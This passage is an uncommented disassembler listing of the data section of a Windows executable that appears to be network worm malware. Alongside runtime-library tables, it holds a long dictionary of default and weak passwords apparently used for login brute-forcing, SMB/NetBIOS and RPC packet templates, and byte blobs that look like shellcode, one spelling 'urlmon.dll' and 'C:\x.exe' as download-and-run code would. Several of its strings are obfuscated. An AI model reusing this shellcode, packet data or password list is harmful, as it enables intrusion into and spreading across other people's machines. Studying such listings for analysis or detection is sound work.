					; sub_40F8CA+4Ao
off_423924	dd offset aNull_0	; DATA XREF: sub_4109D7:loc_410EC5r
					; sub_4109D7+7E7r
					; "(null)"
off_423928	dd offset aNull		; DATA XREF: sub_4109D7+433r
					; "(null)"
		align 10h
off_423930	dd offset sub_411BEA	; DATA XREF: sub_41195D+Er
					; sub_411C19+45w
		dd offset aBadAllocation ; "bad	allocation"
off_423938	dd offset dword_433D20	; DATA XREF: sub_411D09o
					; sub_411D0F+52o ...
		align 10h
		dd offset dword_433D20
		dd 101h
dword_423948	dd 0FFFFFFFEh, 0	; DATA XREF: sub_411D0F+74o
		dd 1000h, 4 dup(0)
		dd 2, 0FFFFFFFEh, 6 dup(0)
		dd 2, 0FFFFFFFEh, 7 dup(0)
dword_4239A8	dd 7Ch dup(0)		; DATA XREF: sub_411D0F+A4o
dword_423B98	dd 8 dup(0)		; DATA XREF: sub_411DE0+Do
					; sub_411E32+Do
dword_423BB8	dd 0FFFFFFFFh, 0A80h, 8	dup(0) ; DATA XREF: sub_40CF9A:loc_40D036o
					; sub_40CF9A:loc_40D07Bo ...
dword_423BE0	dd 2			; DATA XREF: sub_4136C1:loc_4136CDr
off_423BE4	dd offset aR6002FloatingP ; DATA XREF: sub_4136C1:loc_4137F1r
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41EA84h, 9, 41EA58h, 0Ah,	41E9C0h, 10h, 41E994h
		dd 11h,	41E964h, 12h, 41E940h, 13h, 41E914h, 18h, 41E8DCh
		dd 19h,	41E8B4h, 1Ah, 41E87Ch, 1Bh, 41E844h, 1Ch, 41E81Ch
		dd 1Eh,	41E7FCh, 1Fh, 41E798h, 20h, 41E760h, 21h, 41E668h
		dd 22h,	41E5C8h, 78h, 41E5B4h, 79h, 41E5A4h, 7Ah, 41E594h
		dd 0FCh, 4203BCh, 0FFh,	41E584h
byte_423C98	db 0			; DATA XREF: sub_413B24:loc_413E85r
					; sub_413B24+36Fr
		align 4
		dd 2Fh dup(0)
		dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2	dup(0)
dword_423D98	dd 1B3Fh		; DATA XREF: sub_4146A6+Dr
		align 10h
dword_423DA0	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_40F267+1Do
					; sub_40F3B6+6Eo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_423E18	dd 3			; DATA XREF: sub_414777+A1r
					; sub_414777+C0r ...
dword_423E1C	dd 7			; DATA XREF: sub_414777+A7r
					; sub_414777+C6r ...
		dd 78h
dword_423E24	dd 0Ah			; DATA XREF: sub_414777+22r
					; sub_41799B+4r
		dd offset aBadAllocation, offset sub_414E80 ; "bad allocation"
off_423E30	dd offset nullsub_292, 0 ; DATA	XREF: sub_415769+128o
					; r69pu5ti:00421CDCo
a_?avbad_except	db '.?AVbad_exception@std@@',0
a0aa		db '0íA',0
a2qa		db '2ïA',0
dword_423E58	dd 41F560h, 41F55Ch, 41F558h, 41F554h, 41F550h,	41F54Ch
					; DATA XREF: sub_40EE22+D9o
		dd 41F548h, 41F540h, 41F538h, 41F530h, 41F524h,	41F518h
		dd 41F510h, 41F504h, 41F500h, 41F4FCh, 41F4F8h,	41F4F4h
		dd 41F4F0h, 41F4ECh, 41F4E8h, 41F4E4h, 41F4E0h,	41F4DCh
		dd 41F4D8h, 41F4D4h, 41F4CCh, 41F4C0h, 41F4B8h,	41F4B0h
		dd 41F4F0h, 41F4A8h, 41F4A0h, 41F498h, 41F48Ch,	41F484h
		dd 41F478h, 41F46Ch, 41F468h, 41F464h, 41F458h,	41F444h
		dd 41F438h, 409h, 2 dup(1), 423E58h
dword_423F14	dd 2Eh			; DATA XREF: .data:off_423F18o
off_423F18	dd offset dword_423F14	; DATA XREF: sub_40EE22+14o
					; sub_416424+Br ...
off_423F1C	dd offset dword_426498	; DATA XREF: sub_416424+1Dr
off_423F20	dd offset dword_426498	; DATA XREF: sub_416424+2Fr
off_423F24	dd offset dword_426498	; DATA XREF: sub_416464+Cr
off_423F28	dd offset dword_426498	; DATA XREF: sub_416464+1Er
off_423F2C	dd offset dword_426498	; DATA XREF: sub_416464+30r
off_423F30	dd offset dword_426498	; DATA XREF: sub_416464+42r
off_423F34	dd offset dword_426498	; DATA XREF: sub_416464+54r
off_423F38	dd offset dword_426498	; DATA XREF: sub_416464+66r
off_423F3C	dd offset dword_426498	; DATA XREF: sub_416464+78r
		dd 2 dup(7F7F7F7Fh), 423F18h, 1, 2Eh, 1, 2 dup(0)
off_423F60	dd offset sub_41AE5A	; DATA XREF: sub_4172FE:loc_417302r
					; sub_4192DC+5w
off_423F64	dd offset sub_41A556	; DATA XREF: sub_4192DC+Aw
off_423F68	dd offset sub_41A514	; DATA XREF: sub_4192DC+14w
off_423F6C	dd offset sub_41A548	; DATA XREF: sub_4192DC+1Ew
off_423F70	dd offset word_41A4BE	; DATA XREF: sub_4192DC+28w
off_423F74	dd offset sub_41AE5A	; DATA XREF: sub_4192DC+32w
off_423F78	dd offset sub_41ADD4	; DATA XREF: sub_4109D7+61Ar
					; sub_4192DC+37w
off_423F7C	dd offset sub_41A4D4	; DATA XREF: sub_412A74+5F1r
					; sub_4192DC+41w
off_423F80	dd offset sub_41A43E	; DATA XREF: sub_4109D7+65Fr
					; sub_4192DC+4Bw
off_423F84	dd offset sub_41A3CD	; DATA XREF: sub_4109D7+640r
					; sub_4192DC+55w
		align 10h
dword_423F90	dd 19930520h, 3	dup(0)	; DATA XREF: sub_418820+2o
					; sub_418829+2o
dword_423FA0	dd 2694h		; DATA XREF: sub_419908+3r
					; sub_41995B+5Dr
		dd 9875h, 9873h, 0
dword_423FB0	dd 14h			; DATA XREF: sub_41986A:loc_419872r
off_423FB4	dd offset aExp		; DATA XREF: sub_41986A:loc_4198E2r
					; "exp"
		dd 1Dh,	41EC08h, 1Ah, 41EBF8h, 1Bh, 41EBFCh, 1Fh, 41FDE8h
		dd 13h,	41FDE0h, 21h, 41FDD8h, 0Eh, 41EBF0h, 0Dh, 41EBE8h
		dd 0Fh,	41EBCCh, 10h, 41FDD0h, 5, 41FDC8h, 1Eh,	41EBB0h
		dd 12h,	41EBACh, 20h, 41EBA8h, 0Ch, 41EBC4h, 0Bh, 41EBBCh
		dd 15h,	41FDC0h, 1Ch, 41EBB4h, 19h, 41FDB8h, 11h, 41FDB0h
		dd 18h,	41FDA8h, 16h, 41FDA0h, 17h, 41FD98h, 22h, 41FD94h
		dd 23h,	41FD90h, 24h, 41FD8Ch, 25h, 41FD84h, 26h, 41FD78h
dbl_424098	dq 1.797693134862316e308 ; DATA	XREF: sub_419634:loc_419704r
					; sub_419634:loc_41970Cr
		dd 0
		dd 0FFF80000h
dbl_4240A8	dq 1.797693134862316e308 ; DATA	XREF: sub_419634+89r
					; sub_419634+A4r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4240C0	dt 2.3562723457267347066e313 ; DATA XREF: sub_419B98+Br
					; sub_419B98+1Er
		align 4
tbyte_4240CC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419B98+30r
		align 4
dword_4240D8	dd 1			; DATA XREF: sub_419BEE+1Cr
					; sub_419BEE+4Cw
byte_4240DC	db 3			; DATA XREF: sub_419CD1+1Br
					; sub_419CD1:loc_419D0Fr
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_4240F0	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:00424170o
dword_424130	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:00424174o
		dd offset dword_4240F0
		dd offset dword_424130
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch
dword_4241F8	dd 2			; DATA XREF: sub_419FEC+13r
					; sub_419FEC+4Fr ...
		align 10h
dword_424200	dd 0FFFFFFFEh		; DATA XREF: sub_41AF5A:loc_41AF73r
dword_424204	dd 0FFFFFFFEh		; DATA XREF: sub_419FEC+1Br
					; sub_419FEC:loc_41A015r ...
		align 10h
dword_424210	dd 400h			; DATA XREF: sub_41B479:loc_41B81Dr
					; sub_41B479+44Dr
dword_424214	dd 0FFFFFC01h		; DATA XREF: sub_41B479:loc_41B5E8r
dword_424218	dd 35h			; DATA XREF: sub_41B479+78r
					; sub_41B479+176r ...
dword_42421C	dd 0Bh			; DATA XREF: sub_41B479:loc_41B784r
					; sub_41B479+3AAr ...
dword_424220	dd 40h			; DATA XREF: sub_41B479+519r
dword_424224	dd 3FFh			; DATA XREF: sub_41B479+452r
					; sub_41B479:loc_41B8DCr
dword_424228	dd 80h			; DATA XREF: sub_41B9BB:loc_41BD5Fr
					; sub_41B9BB+44Dr
dword_42422C	dd 0FFFFFF81h		; DATA XREF: sub_41B9BB:loc_41BB2Ar
dword_424230	dd 18h			; DATA XREF: sub_41B9BB+78r
					; sub_41B9BB+176r ...
dword_424234	dd 8			; DATA XREF: sub_41B9BB:loc_41BCC6r
					; sub_41B9BB+3AAr ...
dword_424238	dd 20h			; DATA XREF: sub_41B9BB+519r
dword_42423C	dd 7Fh			; DATA XREF: sub_41B9BB+452r
					; sub_41B9BB:loc_41BE1Er
dword_424240	dd 2 dup(0)		; DATA XREF: sub_41BEFD+363o
					; sub_41C5C1+18Eo
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4243A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41BEFD+37Ao
					; sub_41C5C1+1B3o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
		dd 2 dup(offset	aBadAllocation)	; "bad allocation"
dword_424508	dd 4E44h		; DATA XREF: .text:00409E4Eo
					; .text:00409E6Dr ...
		dd 7 dup(0)
dword_424528	dd 87h			; DATA XREF: .text:0040A16Br
					; .text:0040A3CDr ...
dword_42452C	dd 0			; DATA XREF: sub_408CC5+3ABr
					; .text:0040926Ar ...
off_424530	dd offset sub_408CC5	; DATA XREF: sub_40A506+227r
					; sub_40A506+330r ...
		dd 4Eh,	7 dup(0)
		dd 8Bh,	0
		dd 409288h, 4Dh, 7 dup(0)
		dd 599h, 0
		dd 40909Ch, 53h, 7 dup(0)
		dd 0B97h, 0
		dd offset sub_409CC8, 0Bh dup(0)
		dd offset aBadAllocation ; "bad	allocation"
dword_4245E8	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_4099FF+1A8o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 0
dword_424610	dd 6EB4141h, 501E100Dh,	6D6Dh, 41FEA0h ; DATA XREF: sub_4099FF+264o
dword_424620	dd 5C0D0A00h, 2E2F5Fh	; DATA XREF: .text:004096DAo
dword_424628	dd 0EFFFC481h, 44FFFFh,	4213FCh	; DATA XREF: .text:004095C5o
dword_424634	dd 42Ah			; DATA XREF: .text:00409562r
dword_424638	dd 3E8h			; DATA XREF: .text:00409724r
dword_42463C	dd 258h			; DATA XREF: .text:004095B7r
		dd 4213F8h, 2C6h, 264h,	0
dword_424650	dd 20804h		; DATA XREF: .text:0040974Co
					; .text:0040978Do ...
		dd offset aBadAllocation ; "bad	allocation"
off_424658	dd offset byte_4202A1	; DATA XREF: .text:0040916Cr
					; .text:0040917Ao
		dd offset aAdministrator, offset aAdministrador, offset	aAdministrateur	; "staff"
		dd offset aAdministrat,	offset aAdmins,	offset aAdmin
		dd offset aAdm,	offset aPassword1, offset aPassword, offset aPasswd
		dd offset aPass1234, offset aPass, offset aPwd,	offset a007
		dd offset a1, offset a12, offset a123, offset a1234, offset a12345
		dd offset a123456, offset a1234567, offset a12345678, offset a123456789
		dd offset a1234567890, offset a2000, offset a2001, offset a2002
		dd offset a2003, offset	a2004, offset aTest, offset aGuest
		dd offset aNone, offset	aDemo, offset aUnix, offset aLinux
		dd offset aChangeme, offset aDefault, offset aSystem_0
		dd offset aServer, offset aRoot, offset	aNull_1, offset	aQwerty
		dd offset aMail, offset	aOutlook, offset aWeb, offset aWww
		dd offset aInternet, offset aAccounts, offset aAccounting
		dd offset aHome, offset	aHomeuser, offset aUser, offset	aOem
		dd offset aOemuser, offset aOeminstall,	offset aWindows
		dd offset aWin98, offset aWin2k, offset	aWinxp,	offset aWinnt
		dd offset aWin2000, offset aQaz, offset	aAsd, offset aZxc
		dd offset aQwe,	offset aBob, offset aJen, offset aJoe
		dd offset aFred, offset	aBill, offset aMike, offset aJohn
		dd offset aPeter, offset aLuke,	offset aSam, offset aSue
		dd offset aSusan, offset aPeter, offset	aBrian,	offset aLee
		dd offset aNeil, offset	aIan, offset aChris, offset aEric
		dd offset aGeorge, offset aKate, offset	aBob, offset aKatie
		dd offset aMary, offset	aLogin,	offset aLoginpass, offset aTechnical
		dd offset aBackup, offset aExchange, offset aFuck, offset aBitch
		dd offset aSlut, offset	aSex, offset aGod, offset aHell
		dd offset aHello, offset aDomain, offset aDomainpass, offset aDomainpassword
		dd offset aDatabase, offset aAccess, offset aDbpass, offset aDbpassword
		dd offset aDatabasepass, offset	aData, offset aDatabasepasswo
		dd offset aDb1,	offset aDb2, offset aDb1234, offset aSa
		dd offset aSql,	offset aSqlpassoainsta,	offset aOrainstall
		dd offset aOracle, offset aIbm,	offset aCisco, offset aDell
		dd offset aCompaq, offset aSiemens, offset aHp,	offset aNokia
		dd offset aXp_0, offset	aControl, offset aOffice, offset aBlank
		dd offset aWinpass, offset aMain, offset aLan, offset aInternet
		dd offset aIntranet, offset aStudent, offset aTeacher
		dd offset aStaff, 0
		dd offset aBadAllocation ; "bad	allocation"
dword_42488C	dd 0C0B80041h, 1570040h, 0 ; DATA XREF:	sub_408CC5+335o
		dd 1570000h, 0
dword_4248A0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_408CC5+18Fo
		dd 1, 10000h, 50ABC2A4h, 40B3574Dh, 4FEE669Dh, 76A0FBD5h
		dd 5, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4248F0	dd 83000005h, 10h, 67Fh, 1, 657h, 10000h, 50ABC2A4h, 40B3574Dh
					; DATA XREF: sub_408CC5+2E2o
		dd 4FEE669Dh, 76A0FBD5h, 40C210h, 2, 0
		dd 2, 44h, 13FA94h, 4CCh, 0
		dd 4CCh, 0
dword_424940	dd 0Eh dup(425C425Ch), 0FF5C425Ch, 0E25Ch ; DATA XREF: sub_408CC5+31Eo
aLSW		db '\)\L\á\w',0         ; DATA XREF: sub_408CC5+300o
a8W		db '\8\',7,'\Ò\w',0     ; DATA XREF: sub_408CC5:loc_408FCCo
		align 4
		dd 5 dup(offset	aBadAllocation)	; "bad allocation"
dword_4249A8	dd 22B1C933h, 74D9EED9h, 805BF424h, 8000146Bh, 8300156Bh
					; DATA XREF: sub_407D75+6Eo
		dd 0F3E2FEEBh, 0
dword_4249C4	dd 22B1C933h, 74D9EED9h, 805BF424h, 80001473h, 83001573h
					; DATA XREF: sub_407D75+169o
		dd 0F3E2FEEBh, 0
dword_4249E0	dd 758B54EBh, 35748B3Ch, 56F50378h, 320768Bh, 49C933F5h
					; DATA XREF: sub_407D18+2Co
		dd 0DB33AD41h, 14BE0F36h, 74F23828h, 0DCBC108h,	0EB40DA03h
		dd 75DF3BEFh, 5E8B5EE7h, 66DD0324h, 8B4B0C8Bh, 0DD031C5Eh
		dd 38B048Bh, 7275C3C5h,	6E6F6D6Ch, 6C6C642Eh, 5C3A4300h
		dd 78652E78h, 0C0330065h, 30400364h, 408B0C78h,	1C708B0Ch
		dd 8408BADh, 408B09EBh,	7C408D34h, 953C408Bh, 0E4E8EBFh
		dd 0FF84E8ECh, 0EC83FFFFh, 242C8304h, 95D0FF3Ch, 1A36BF50h
		dd 6FE8702Fh, 8BFFFFFFh, 8DFC2454h, 0DB33BA52h,	0EB525353h
		dd 0D0FF5324h, 0FE98BF5Dh, 53E80E8Ah, 83FFFFFFh, 2C8304ECh
		dd 0D0FF6224h, 0E0CEEFBFh, 0FF40E860h, 0FF52FFFFh, 0FFD7E8D0h
		dd 0FFFFh, 0
		dd 0FF000000h, 0FFFF0000h, 0FFFFFF00h, 80000000h, 800000h
		dd 8000h, 80h, 41FEA0h
dword_424AD0	dd 0			; DATA XREF: sub_407BA0+6Er
dword_424AD4	dd 0			; DATA XREF: sub_407BA0+75r
		dd 0
		dd 0FF000000h, 0
		dd 0FFFF0000h, 0
		dd 0FFFFFF00h, 0
		dd 0FFFFFFFFh, 0FF000000h, 0FFFFFFFFh, 0FFFF0000h, 0FFFFFFFFh
		dd 0FFFFFF00h, 0FFFFFFFFh
dword_424B10	dd 0			; DATA XREF: sub_407BA0+8Br
dword_424B14	dd 80000000h		; DATA XREF: sub_407BA0+91r
		dd 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	80000000h, 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	0
		dd 2 dup(41FEA0h), 0FDE6BCEAh, 0FCFDFDFDh, 0F1BCF6F7h
		dd 0FFFDh, 3Ch dup(0)
dword_424C58	dd 40h dup(0)		; DATA XREF: sub_4049E1+430o
		dd 0AAA71F90h, 0BCA2A0BCh, 0BCAAA2A3h, 0A1A1A0h, 7Ch dup(0)
		dd 1F900000h, 41FEA0h
aOxrihybuygfrdg	db 'oxrIHYbuYGFrDgAT',0 ; DATA XREF: sub_401ACE:loc_401AF3o
					; sub_401ACE+3Ar
		align 4
		dd 1Bh dup(0)
asc_424FE0	db '±±ÆÀÔÙ',0           ; DATA XREF: sub_401000+36Bo
					; sub_403249+3DBo ...
		align 4
		dd 4 dup(0)
dword_424FF8	dd 0E1F4F5A7h, 0E6A4F6F4h, 0FAF6F4F5h, 0F4F5h, 2 dup(0)
					; DATA XREF: sub_403F55+2BAo
					; sub_403F55+3B6o
byte_425010	db 2Eh			; DATA XREF: sub_4046BC+C6r
byte_425011	db 0BFh, 0EAh, 0	; DATA XREF: sub_403F55+3CCo
		dd 0Dh dup(0)
		db 0
byte_425049	db 0B8h, 0D2h, 0EAh	; DATA XREF: sub_403F55+65Bo
		dd 0BCE6F7FCh, 0EAh, 0Dh dup(0)
		db 0
byte_425089	db 0FEh, 0E6h, 0F1h	; DATA XREF: sub_40312D+3Eo
					; sub_4049E1+E1o ...
		dd 0BCFBE1FBh, 0F7EAF7h, 5 dup(0)
		db 0
asc_4250A9	db 'ÞÆÑÛÁÛ',0           ; DATA XREF: sub_4049E1+2C7o
		dd 6 dup(0)
		db 0
asc_4250C9	db 'ÞÆÑÛÁÛ',0           ; DATA XREF: sub_402833+12Eo
					; sub_404E7F+A3o ...
		dd 1Fh dup(0)
dword_42514C	dd 8			; DATA XREF: sub_404844+135r
					; sub_404844+16Ar
		db 2 dup(0)
byte_425152	db 1			; DATA XREF: .text:00408752r
		align 4
		dd 41FEA0h, 0D7AAA2A7h,	0A7ABA6D6h, 0A4AAD6A4h,	0ABD4A4A2h
		dd 0D4A5A6D3h, 0A4A1A5D7h, 0D0A7A5A3h, 0A0D1D6D7h, 0AAA1A6D6h
		dd 0A0A0A1A0h, 0A5A1A0A7h, 0A4ABD3D7h, 0D4A7D4D4h, 0D4D1D3D4h
		dd 0D7AAAAD0h, 0A7D4A7D1h, 0D6D4ABD3h, 0D4D6A6ABh, 0D6A6A4A3h
		dd 0D1D3D4A2h, 0A0A0D3D3h, 0D0A5A4D6h, 0A6D3A3D3h, 0A3D3D0D0h
		dd 0A4A6D3D0h, 0A6A1A7ABh, 0A0D7D7A3h, 0D3A7D1A1h, 0ABD4D0A1h
		dd 0D7A7A7D3h, 0AAD3AAA2h, 0A4D7AAh, 70h dup(0)
aLzLGjEkaaLBKLJ	db 'ÖÑ«§Ð«Ó£¦ÐÔ¥ª  ×Ð׫×Сת׫ÔѦס×Ц¤ªÔª¥§¤¦¤¢«£ÑЧ¦  ×£¤Ñ¡ª¤¦×ª Ð«'
					; DATA XREF: .text:0040873Fo
		db '¦§¦Ô¤×«£¡ ÓЪ ÓÖ¥¦££¢£¤Ó§¥¦ª « ¥ × ÑÑѧ¡ÑѤ¤§Ñ¡Ð£Óª¤¦§¢ ¦¦¡',0
		align 4
		dd 10h dup(0)
asc_425458	db 'ÜÛÑÙ',0             ; DATA XREF: sub_4038C8+27o
					; sub_40393C+2C4o
		align 10h
		db 0
asc_425461	db 'ÂÓÁÁ',0             ; DATA XREF: sub_40393C+1BEo
		align 4
		db 2 dup(0)
asc_42546A	db 'ÇÁ×À',0             ; DATA XREF: sub_40393C+2D4o
		align 10h
		db 3 dup(0)
asc_425473	db 'ÂÛÜÕ',0             ; DATA XREF: sub_403F55+1CBo
		dd 0
asc_42547C	db 'ÂÝÜÕ',0             ; DATA XREF: sub_403F55+211o
		align 4
		db 0
asc_425485	db 'ÙÛÑÙ',0             ; DATA XREF: sub_403F55+1DBo
		align 4
		db 2 dup(0)
asc_42548E	db 'ØÝÛÜ',0             ; DATA XREF: sub_403F55+2A7o
					; sub_403F55+37Co
		align 4
		db 3 dup(0)
asc_425497	db 'ßÝÖ×',0             ; DATA XREF: sub_403F55+38Co
		align 10h
asc_4254A0	db 'ÂÀÛÄßÁÕ',0          ; DATA XREF: sub_403DB4+9Bo
					; sub_403F55+1EBo
		align 10h
dword_4254B0	dd 0E2E6E6FAh, 0FEBDBDA8h, 0E1FBF1E6h, 0FDF1BCFBh, 0E6FEBDFFh
					; DATA XREF: sub_408CC5+1E1o
					; .text:00409645o ...
		dd 0FBE1FBF1h, 0F7EAF7BCh, 0
dword_4254D0	dd 5348h, 3 dup(41FEA0h) ; DATA	XREF: sub_40300B+20o
					; sub_40300B+8Eo
dword_4254E0	dd 2F000000h, 424D53FFh, 72h, 4	dup(0) ; DATA XREF: sub_4023EB+ECo
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h, 41FEA0h
unk_425518	db  81h	; 		; DATA XREF: sub_4023EB+B5o
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		dd 2 dup(0)
dword_425568	dd 48000000h, 424D53FFh, 73h, 4	dup(0) ; DATA XREF: sub_4023EB+123o
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	4A000000h, 54410043h, 434854h
		dd 0
		dd 4 dup(offset	aBadAllocation)	; "bad allocation"
dword_4255C8	dd 80000002h, 80000001h	; DATA XREF: sub_40140A+71o
dword_4255D0	dd 0CA975201h, 0A811D059h, 0D5h, 1Dh dup(0) ; DATA XREF: sub_4018DF+53o
		dd 9, 0C5C1371Dh, 6379AB46h, 8Fh, 1Dh dup(0)
		dd 9, 364C033h,	0C783040h, 8Bh,	1Dh dup(0)
		dd 9, 7D8AAFA8h, 0F4BE11C9h, 8,	1Dh dup(0)
		dd 9, 9F499642h, 0F537FD4Ah, 0D6h, 1Dh dup(0)
		dd 9, 4A5A10EBh, 0B966C933h, 7Dh, 1Dh dup(0)
		dd 9, 123485E9h, 411291D9h, 12h, 1Dh dup(0)
		dd 9, 8B64DB33h, 408B3043h, 0Ch, 1Dh dup(0)
		dd 9, 5EB02EBh,	0FFFFF9E8h, 0FFh, 1Dh dup(0)
		dd 9, 41FEA0h
off_425A78	dd offset nullsub_292, 0 ; DATA	XREF: r69pu5ti:00421F00o
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
aUa		db '|ãA',0              ; DATA XREF: r69pu5ti:00421F1Co
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
aUa_0		db '|ãA',0              ; DATA XREF: r69pu5ti:00421F38o
		align 10h
a_?avexception@	db '.?AVexception@std@@',0
aUa_1		db '|ãA',0              ; DATA XREF: r69pu5ti:00421F74o
		dd 0
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
		dd 4 dup(0)
dword_425B00	dd 0			; DATA XREF: sub_40CA02+4w
					; sub_40CB08+3r
dword_425B04	dd 0			; DATA XREF: .text:0040CC45o
					; .text:loc_41D892w ...
		align 10h
dword_425B10	dd 0			; DATA XREF: .text:loc_40CC3Er
					; .text:0040CC4Cw
dword_425B14	dd 0			; DATA XREF: .text:0040E0EFw
					; sub_414943:loc_414955r ...
		dd 0
dword_425B1C	dd 0			; DATA XREF: sub_40DF6Dr
					; sub_419292+15r ...
dword_425B20	dd 0			; DATA XREF: sub_40E68F+8Fw
dword_425B24	dd 0			; DATA XREF: sub_40E68F+99w
		dd 0
dword_425B2C	dd 0			; DATA XREF: sub_40E68F+8Aw
		dd 10h dup(0)
dword_425B70	dd 0			; DATA XREF: sub_40E68F+BFw
					; sub_40E68F+DFr
		align 8
dword_425B78	dd 0			; DATA XREF: sub_40E68F+7Bw
		dd 22h dup(0)
word_425C04	dw 0			; DATA XREF: sub_40E68F+4Fw
		align 4
word_425C08	dw 0			; DATA XREF: sub_40E68F+48w
		align 4
word_425C0C	dw 0			; DATA XREF: sub_40E68F+41w
		align 10h
word_425C10	dw 0			; DATA XREF: sub_40E68F+3Aw
		align 4
dword_425C14	dd 0			; DATA XREF: sub_40E68F+26w
dword_425C18	dd 0			; DATA XREF: sub_40E68F+20w
dword_425C1C	dd 0			; DATA XREF: sub_40E68F+1Aw
dword_425C20	dd 0			; DATA XREF: sub_40E68F+14w
dword_425C24	dd 0			; DATA XREF: sub_40E68F+Ew
dword_425C28	dd 0			; DATA XREF: sub_40E68F+9w
dword_425C2C	dd 0			; DATA XREF: sub_40E68F+60w
dword_425C30	dd 0			; DATA XREF: sub_40E68F+68w
					; sub_40E68F+85r
word_425C34	dw 0			; DATA XREF: sub_40E68F+33w
		align 4
dword_425C38	dd 0			; DATA XREF: sub_40E68F+57w
dword_425C3C	dd 0			; DATA XREF: sub_40E68F+70w
word_425C40	dw 0			; DATA XREF: sub_40E68F+2Cw
		align 4
		dd 80h dup(0)
dword_425E44	dd 0			; DATA XREF: sub_40EA45+15w
					; sub_40EA45+1Dw ...
word_425E48	dw 0			; DATA XREF: sub_40EC6A+E7w
		align 4
		dd 2 dup(0)
